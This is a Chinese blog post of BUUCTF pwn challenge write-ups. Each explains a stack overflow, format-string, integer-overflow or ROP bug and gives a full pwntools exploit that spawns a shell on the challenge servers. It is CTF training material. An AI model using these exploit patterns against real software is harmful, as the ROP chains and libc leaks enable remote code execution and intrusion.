首页 > 其他分享 >BUUCTF PWN

BUUCTF PWN

时间:2024-06-18 10:22:35浏览次数:12  
标签:BUUCTF p32 pwn add io PWN buf payload

rip

checksec分析一下,发现没有开NX,PIE。栈段可执行,还有RWX的段


看了一下main函数存在栈溢出,然后有一个fun函数很奇怪跟进看一下,发现是后门,很简单的ret2text,但是做64位题的时候要注意堆栈平衡

from pwn import *
# io = process('./pwn1')
io = remote("node5.buuoj.cn",25429)
payload = b'A'*23 + p64(0x401186 + 1)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

checksec看一下,发现跟rip那一题是一样的情况

看了一下,发现main函数中存在栈溢出,然后我们开始排查一下左边的函数,发现了这个函数。发现这题又是简单的ret2text,还是注意堆栈平衡

from pwn import *
io = remote("node5.buuoj.cn",25764)
payload = b'A' * 72 + p64(0x40060d)
io.sendline(payload)
io.interactive()

但是这题需要注意一下,他跟其他的题不一样,它不需要去堆栈平衡,所以后面做题我们需要去确认一下

ciscn_2019_n_1

checksec看看开启了啥保护,发现是64位程序开启了NX保护

通过查看main函数中发现了func函数,然后跟进一下func函数,看到了gets函数造成的栈溢出,然后还有我们需要的system("cat /flag"),但是通过阅读代码发现调用system函数是有要求的,发现需要v2等于11.28125才可以,但是上面已经将v2赋值为了0.0

然后我看到了system函数和cat /flag这两个,我已经有了思路就是自己去构造一下,通过栈溢出直接溢出到sytem函数的位置,然后将cat /flag参数传入,而要将参数传入需要用到pop rdi;ret这个命令,我们可以通过ROPgadget来看找到这个的地址,然后构造payload就行了,现在我们需要知道system函数的plt地址,cat /flag地址,pop rid;ret地址,就可以完成这个栈溢出。



from pwn import *
io = remote('node5.buuoj.cn', 28390)
offset = 0x30 + 8
payload = offset * b'a' + p64(0x400793)+p64(0x4007CC)+p64(0x4005E1)+p64(0x400530)
io.sendline(payload)
io.interactive()

然后要注意队堆栈平衡,这题需要考虑所以我们加了一个ret的地址在system前面

当做到这里我以为我已经完成了,但是我看到了别人的payload,我才发现我原来多做了很多的步骤

# coding: utf-8
from pwn import *

r = remote('node3.buuoj.cn',29337)

offset = 0x30 + 8
payload = offset*'a' + p64(0x000004006BE )    #直接gets函数溢出,然后修改返回地址

r.sendline(payload)
r.interactive()

首先我们看一下他的代码,发现他只用了一个地址,我就好奇去看了一下这个地址

我发现他溢出的这个地址是fun阐述的其中一部分,他并不是直接溢出到system函数,而是溢出到他的上面的位置,通过这里的代码往下看,我发现他这里mov edi其实已经开始给edi赋值了,然后下面调用了system函数,就完成了整个的攻击过程,这个攻击过程和我们上面写的攻击过程原理其实是一样的,但是我们是通过手动完成了这个步骤,他是通过溢出到这个地址,然后下面的代码刚好把我们后面的步骤完成了,其实想一下


他这个地方其实已经就是把值传入了,以后我们做题看到如果我们需要的参数已经在函数体内了,我们就可以通过上述的方法来完成


jarvisoj_level0

发现打开了NX保护,但是canary和pie还有relro保护都没有开

通过跟进ida发现这是一个很简单的ret2text

from pwn import *
# io = process('./pwn')
io = remote("node5.buuoj.cn",29084)
payload = b'A'*136+p64(0x4005A5)+p64(0x400596)
io.sendline(payload)
io.interactive()

[第五空间2019 决赛]PWN5

首先开始还是简单的checksec一下

发现开启了canary保护,这个时候我就在想他可能会考到canary的绕过,也可以不用到栈溢出,然后ida跟进一下

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

跟进主函数看一下,整体代码的逻辑就是

  1. 定义了一些变量,包括用于存储输入的字符数组 nptrbuf,以及用于存储随机数生成器种子的 v1
  2. 使用 setvbuf 函数设置 stdout(标准输出)的缓冲区,使其不进行缓冲。
  3. 获取当前时间作为随机数生成器的种子,并通过 srand 函数设置随机数种子。
  4. 打开 /dev/urandom 设备文件,从中读取4个字节到 dword_804C044 变量中。/dev/urandom 是一个提供伪随机数的设备文件。
  5. 通过 printf 函数提示用户输入他们的名称,然后使用 read 函数从标准输入读取最多 99 个字节到 buf 数组。
  6. 再次使用 printf 函数提示用户输入密码。
  7. 使用 read 函数从标准输入读取最多 15 个字节到 nptr 数组。
  8. nptr 数组的内容转换为整数,并与 dword_804C044 进行比较。如果它们相等,程序将执行 system("/bin/sh"),这将启动一个 shell 提示符,允许用户执行命令。
  9. 如果密码不正确,程序将打印 "fail"。
  10. 最后,程序检查是否有安全违规,如果没有,返回0。

这个时候我看可以看到我们只需要输入一个数(nptr)和dword_804C044相等就可以运行获取shell的代码了,但是这是一个随机数我们该如何输入一个一样的呢?

这里考察的是格式化字符串的漏洞

我看可以看到这两地方,我们向buf输入数据,然后下面printf会把buf给输出出来,这里就存在漏洞,通常printf会将第一个参数当作格式化字符串,但是格式化字符串应该是在编写代码的时候给写好的,这里我们可以控制就可以通过格式化字符串输出我们想到的东西,这个漏洞通常运用在泄露栈内存,泄露任意地址内存,篡改栈内存,篡改任意代码内存,这四个方面。我们知道了他有这四个用途,我们好好想想,我们可以篡改任意代码内存了,那是不是就可以篡改随机值,将他改成我们输入进去的数字,所以payload如下

payload = p32(addr)+b'%10$n'

这里是解释为什么我们是10$了

然后%n的含义是,前面输出了多少的字节数据,然后他就给这个地方赋值多少,比如输出了4字节的数据,那这个地方就被篡改成4了

然后因为p32(addr),是将地址转为32位,32位为4字节,所以这个随机数这个地方就被我们篡改成了4了,现在只需要我们输入4就可以跟随机值正确匹配了

from pwn import *
io = process("./pwn")
random_add = 0x804C044
payload = p32(random_add)+b'%10$n'
io.sendlineafter("your name:",payload)
io.sendlineafter("your passwd:",b'4')
io.interactive()

这个就是完整的exp了


jarvisoj_level2

checksec

发现没有canary,可能存在栈溢出

ida跟进

发现是一道非常简单的ROP构造

exp:

from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",25027)
elf = ELF("./pwn")
system_add = elf.plt['system']
bin_sh = 0x804A024
payload = b'A'*(0x88+0x4)+p32(system_add)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.interactive()

bjdctf_2020_babystack

checksec

ida跟进

发现他是很简单的ret2text,整体代码的逻辑就是scanf向nbytes读入,然后nbytes当成read的第三个参数,给buf赋值。所以我们给nbytes赋值大一点,不然不够造成栈溢出

exp:

from pwn import*
# p=remote('node5.buuoj.cn',28874)
p = process("./pwn")
back_door=0x4006e6
p.recvuntil('your name:\n')
p.sendline(str(0x40))
p.recvuntil('u name?\n')
payload=b'a'*0x18+p64(0x4007CB)+p64(back_door)
p.sendline(payload)
p.interactive()

这里要注意栈平衡


[NewStarCTF 2023]ret2text

最基本的ret2text

from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",25103)
payload = b'A'*0x28+p64(0x04011FB)
io.sendline(payload)
io.interactive()

ciscn_2019_n_8

判断var[13]的值是不是17,只需要输入的时候在第18位填写17就行了,因为下标是从0开始的

from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",29774)
payload = b'A'*(13*4)+p64(17)
io.sendline(payload)
io.interactive()

get_started_3dsctf_2016

很简单的ret2text,32位栈传参,所以只需要把满足的值写入栈中就行了

from pwn import *
io = remote("node5.buuoj.cn",25583)

payload = b'A'*0x38+p32(0x80489A0)+p32(0x804E6A0)+p32(814536271)+p32(425138641)
io.sendline(payload)
io.interactive()

jarvisoj_level2_x64

很明显的栈溢出,然后系统调用过system函数,所以可以调用system_plt,因为是64位程序,所以是寄存器传参,前六个整数或指针参数通常使用寄存器RDI, RSI, RDX, RCX, R8, 和 R9来传递,后面的参数还是会放到栈中进行传参,程序本身还存在/bin/sh,所以构造system(/bin/sh)

from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",29814)
elf = ELF("./pwn")
rdi_add = 0x4006b3
bin_sh = 0x600A90
sys_add = elf.plt['system']
payload = b'A'*(0x80+0x8)+p64(rdi_add)+p64(bin_sh)+p64(0x0400644)+p64(sys_add)
io.sendline(payload)
io.interactive()

[HarekazeCTF2019]baby_rop

跟上题的思路差不多,但是64位程序都需要注意一下堆栈平衡

from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",27144)
elf = ELF("./pwn")
rdi_add = 0x400683
bin_sh = 0x601048
sys_add = elf.plt['system']
payload = b'A'*0x18+p64(rdi_add)+p64(bin_sh)+p64(0x40061A)+p64(sys_add)
io.sendline(payload)
io.interactive()

others_shellcode

链接即有shell

from pwn import *
io = remote("node5.buuoj.cn",25195)
io.interactive()

[OGeek2019]babyrop

32位程序,RELRO保护全开还有NX保护

main

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

sub_80486BB函数是一个初始化函数,然后下面打开了/dev/urandom获取了随机值然后将他赋值给buf,然后再将buf传入sub_804871F并且将返回值给到v2

sub_804871F

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

清空s和buf变量,然后将传入进来的随机值转换成长整型然后传给s,然后需要我们传入一些值给到buf,并将值传入的长度给到v5,并且将buf的最后一个读取的字符设置位0,这是移除换行符的操作。然后算出buf的长度给到v1,接下来判断buf和s的值是否相同,如果不相同退出程序,相同就输出,然后返回buf第八个字符,回到主函数中,v2接收返回值,然后v2当作sub_80487D0的参数

sub_80487D0

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

判断传入进来的值是否等于127,如果相等就可以输入0xc8大小的值,如果不相等就可以输入a1的大小的值,这里0xc8并不能造成栈溢出,所以得从a1的值下手

整理思路

整体思路很简单,这里我们需要绕过sub_804871F函数的判断,因为如果判断不相同的话就会退出程序,这里需要绕过,让判断相同,这里改如果绕过呢?我们如果让v1等于0的话,那是不是就是判断buf和s的前0个字符,那这里就会恒相同,那么该如何让v1等于0呢?由于v1是通过strlen计算buf字长的,但是strlen字长判断是通过\x00截断的,所以让buf的最开始为\x00的话这里的v1就会等于0了。

第二步我们需要修改a1的值,让他足够的大,因为这里的a1实际上就是sub_804871F中buf的第八个参数,这里需要用到转义字符

\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号

所以我们就需要将buf[7]这个地方改为\xff,这样就可以使得a1的值大,导致我们可以栈溢出

然后就是泄露libc那一套了

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# io = process("./pwn")
io = remote("node5.buuoj.cn",25285)
libc = ELF("./libc-2.23.so")
elf = ELF("./pwn")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_add = 0x8048825
def debug():
    gdb.attach(io)
    pause()


payload = b'\x00'+b'\xff'*8
io.sendline(payload)
io.recvuntil("Correct\n")
payload = b'A'*(0xe7+0x4) + p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_add = u32(io.recv(4))
print(hex(write_add))
libc_base = write_add - libc.sym['write']
system_add = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload = b'\x00'+b'\xff'*8
io.sendline(payload)
io.recvuntil("Correct\n")
payload = b'A'*(0xe7+0x4)+p32(system_add)+p32(main_add)+p32(bin_sh)
io.sendline(payload)
io.interactive()


not_the_same_3dsctf_2016

简单的rop

from pwn import *
from struct import pack
io = process("./pwn")
io = remote("node5.buuoj.cn",28578)
elf = ELF("./pwn")
main_add = elf.sym['main']
write_add = elf.sym['write']
payload = b'A'*(0x2d)
payload +=p32(0x80489A0)+p32(write_add)+p32(main_add)+p32(1)+p32(0x80ECA2D)+p32(45)
io.sendline(payload)
# gdb.attach(io)
io.interactive()


铁人三项(第五赛区)_2018_rop

简单rop

from pwn import *
io = process("./pwn")
io = remote("node5.buuoj.cn",26229)
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_add = elf.sym['main']
offset = 0x88+0x4
payload = b'A'*(0x88+0x4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_add = u32(io.recv(4))
print(hex(write_add))
write_offset = 0x0e56f0
system_offset = 0x03cd10
binsh_offset = 0x17b8cf

base_addr = write_add - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

payload2 = offset * b'a' + p32(system_addr) + p32(1) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()

别问为什么我直接知道偏移,因为我到LibcSearcher有问题,上网找到的偏移


bjdctf_2020_babystack2

这题就是整数溢出,然后ret2text

from pwn import *
# io = process("./pwn")
io = remote("node5.buuoj.cn",27595)
io.sendline('-1')
payload =b'A'*(0x10+0x8)+p64(0x400726)
io.sendline(payload)
io.interactive()

标签:BUUCTF,p32,pwn,add,io,PWN,buf,payload
From: https://www.cnblogs.com/Q1Sec/p/18253806

相关文章

  • BUUCTF-WEB(86-90)
    [NPUCTF2020]ezinclude参考:php7segmentfault特性(CVE-2018-14884)-Eddie_Murphy-博客园(cnblogs.com)[BUUCTF题解][NPUCTF2020]ezinclude1-Article_kelp-博客园(cnblogs.com)查看源码发现然后抓包发现一个hash值然后我直接传参数,让pass等于这一个Hash值?pass=f......
  • BUUCTF-Misc(151-160)
    [DDCTF2018]第四扩展FSbinwalk提取一下然后提取出来一个加密压缩包,密码就在图片的备注里Pactera提取出来是一个文本字频统计得到flagflag{huanwe1sik4o!}Beautiful_Side010editor打开,发现一个png文件,我们提取出来发现是半张二维码然后打开QRazyBox-QRCodeAnal......
  • BUUCTF 48~59 wp
    48用户名是welcomebeijing主函数401090函数处理用户名,401830参数为用户名和密码,比较关键401830的前面部分是处理密码,转化为十进制后半部分包含一段反调试代码,401470函数比较是否正确使用动态调试可以忽视401090的处理,直接在xor处得到处理后的每个数据48树和其他主函......
  • BUUCTF-WEB(81-85)
    [CISCN2019总决赛Day2Web1]Easyweb参考:[CISCN2019总决赛Day2Web1]Easyweb-CSDN博客[BUUCTF题解][CISCN2019总决赛Day2Web1]Easyweb-Article_kelp-博客园(cnblogs.com)看robots.txt发现有备份源码然后我们又在看源码的地方发现了疑似注入的地方那我们就把这......
  • [BUUCTF_Misc]文件中的秘密
    题目地址:BUUCTF文件中的秘密主要工具:edge浏览器,HxDHexEditor或其他十六进制编辑器下载安装包并解压,发现是一张开朗的路飞表面上什么都看不到,遂十六进制大法,搜索flag。一无所获。秘密藏在文件中?搜索secret。颗粒无收。大怒,快速上下滑动鼠标滚轮试图将答案滚出,突然发现文......
  • [BUUCTF_Misc]乌镇峰会种图,但十六进制对应文本乱码
    题目地址:BUUCTF乌镇峰会种图使用工具:edge浏览器、HxDHexEditor主要问题:edgeimageviewer保存图片后用十六进制编辑器打开,对应文本中含有大量乱码问题状态:题已做完,但不懂为什么点击附件后默认在edge浏览器的edgeimageviewer中查看图片,鼠标右键另存为图像。单看图片感觉......
  • BUUCTF-Misc(141-150)
    [MRCTF2020]小O的考研复试flag=0foriinrange(19260817):flag=(flag*10+2)%1000000007print(flag)flag{577302567}真的很杂参考:BUUCTF真的很杂_buuctfclass.dex-CSDN博客BUUCTF-真的很杂-「配枪朱丽叶。」(hatenablog.com)没啥思路,binwalk直接......
  • 长城杯CTF2024-PWN-kawayi复现
    文件保护libc版本uaf漏洞free函数没有进行置0操作GDB断点断点:0xD90泄漏libc由于v1>3会退出,所以必须在四次申请堆块中拿到shell第一次申请-创建largebinchunk因为创建largebin的chunk堆块,所以申请的是0x430第二次申请-创建tcachebinchunk申请一个tcache......
  • pwn学习-栈迁移
    栈迁移:简单理解就是在栈溢出的时候可溢出的字符过少,只能溢出ebp和ret的地址,可以使用leave_ret这个gadget来实现栈的迁移。在栈中,默认情况下汇编语言在栈结束的时候都默认会执行一次leave和ret指令,我们利用这个特性将返回地址修改为leave_ret的gadget,将会执行两次leave和ret的操......
  • 栈溢出漏洞利用二,ret2syscall,构造rop链条实现攻击(pwn入门)
    原理原理就直接参考别的大佬写的文章讲下了 参考文章:https://blog.csdn.net/qq_33948522/article/details/93880812ret2syscall,即控制程序执行系统调用,获取shellret2syscall通常采用execve(重点函数,32位调用号为0x0b,64位调用号为0x3b)ROPReturnOrientedProgramming,其......